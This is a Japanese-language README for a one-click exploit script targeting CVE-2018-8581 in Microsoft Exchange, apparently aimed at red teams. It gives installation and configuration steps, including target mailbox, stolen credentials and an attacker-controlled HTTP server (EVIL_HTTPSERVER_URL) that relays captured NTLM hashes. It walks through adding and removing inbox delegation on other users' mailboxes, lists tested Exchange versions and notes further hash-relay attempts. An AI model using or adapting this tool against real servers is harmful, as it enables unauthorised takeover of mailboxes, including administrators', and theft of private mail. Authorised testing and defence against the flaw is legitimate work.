
CVE-2018-8581 | Microsoft Exchange Server 特権昇格の脆弱性
これはメールレベルでの横断的侵入および権限昇格の脆弱性です
通常のメールアカウントのパスワードを入手していれば、他のユーザー(ドメイン管理者を含む)のメールボックスの受信トレイに対する委任による乗っ取りを完了できます
このEXPスクリプトは、オリジナルのPoCをベースに改良したワンクリックスクリプトです。関連パラメータを設定すると、自動的にターゲットメールボックスの受信トレイに対する委任追加・削除操作を実行し、セキュリティ部門やレッドチームが承認された企業に対してシミュレーション攻撃を実施するのを容易にします
オリジナルのPoCは2つのスクリプトを組み合わせて受信ルールを追加する操作が必要でしたが、実際のレッドチーム業務ではあまり実用的ではありません。また、オリジナルのPoCではメールアカウントに加えて、ターゲットメールユーザーのSIDを設定する必要がありました。記事で紹介されているSID取得方法を実際の環境(Exchange Server 2010および2013)で試しましたが、いずれも再現できませんでした(2010では関連操作オプションがなく、2013では権限不足のエラー)。最終的に、まず逆方向の委任を1回実行してターゲットメールユーザーのSIDを取得し、その後委任を削除するというアプローチを取りました
python-ntlm をインストール
pip install python-ntlm
スクリプト内の以下のコードで関連パラメータを設定
...
# Exchange server config
IP = 'mail.target_domain.com'
PORT = 443
PROTO = 'https'
# PORT = 80
# PROTO = 'http'
# CONTROLLED_EMAIL and TARGET_EMAIL config
USER = 'the_email_u_have'
DOMAIN = 'the_domain_name'
PASS = 'password_of_the_email_u_have'
TARGET_EMAIL = "the_target_email_u_want@target_domain.com"
CONTROLLED_EMAIL = "the_email_u_have@target_domain"
# FLAG == 1 --> AddDelegate, FLAG == 0 --> RemoveDelegate
FLAG = 1
# Exchange server version
# EXCHANGE_VERSION = "Exchange2010_SP1"
EXCHANGE_VERSION = "Exchange2010_SP2"
# EXCHANGE_VERSION = "Exchange2010_SP3"
# EXCHANGE_VERSION = "Exchange2013"
# EXCHANGE_VERSION = "Exchange2016"
#Port and url of ur HTTP server that will use NTLM hashes for impersonation of TARGET_EMAIL
HTTPPORT = 8080
EVIL_HTTPSERVER_URL = "http://ur_http_server_ip:8080/"
...
スクリプトを実行し、クコ茶を飲みながら1分待つ
![]()
これでTARGET_EMAILの受信トレイがCONTROLLED_EMAILに委任されました
OWAまたはOutlookでターゲットメールの受信トレイを確認
FLAGを0に変更し、スクリプトを再度実行。もう一度クコ茶を飲みながら1分待つと、先ほど追加した委任が削除されます
アクセス権限がなくなりました
Python 2.7.14
Exchange Server 2010(安定しており、テストではほぼすべてのExchange Server 2010で成功)
Exchange Server 2013(環境によって失敗する可能性あり)
Exchange Server 2016(環境によって失敗する可能性あり)
make_relay_body()関数内でEWS SOAP APIリクエストをさらに変更できます
Net-NTLMハッシュを中継してSMB署名が不要な他のホストを攻撃するさらなる試みでは、取得したハッシュがすべてExchangeServerのものでした… ExchangeServerでSMB署名が無効になっている場合、クロスプロトコル中継攻撃に使用できる可能性はありますが、現実的にはほぼ遭遇しません…
本スクリプトは学習・交流目的のみで提供されています。使用者は現地の関連法規を遵守するものとし、それ以外の用途で生じた法的責任は全て使用者に帰属し、作成者は一切の責任を負いません。ダウンロードおよび使用をもって、上記の見解に同意したものとみなします。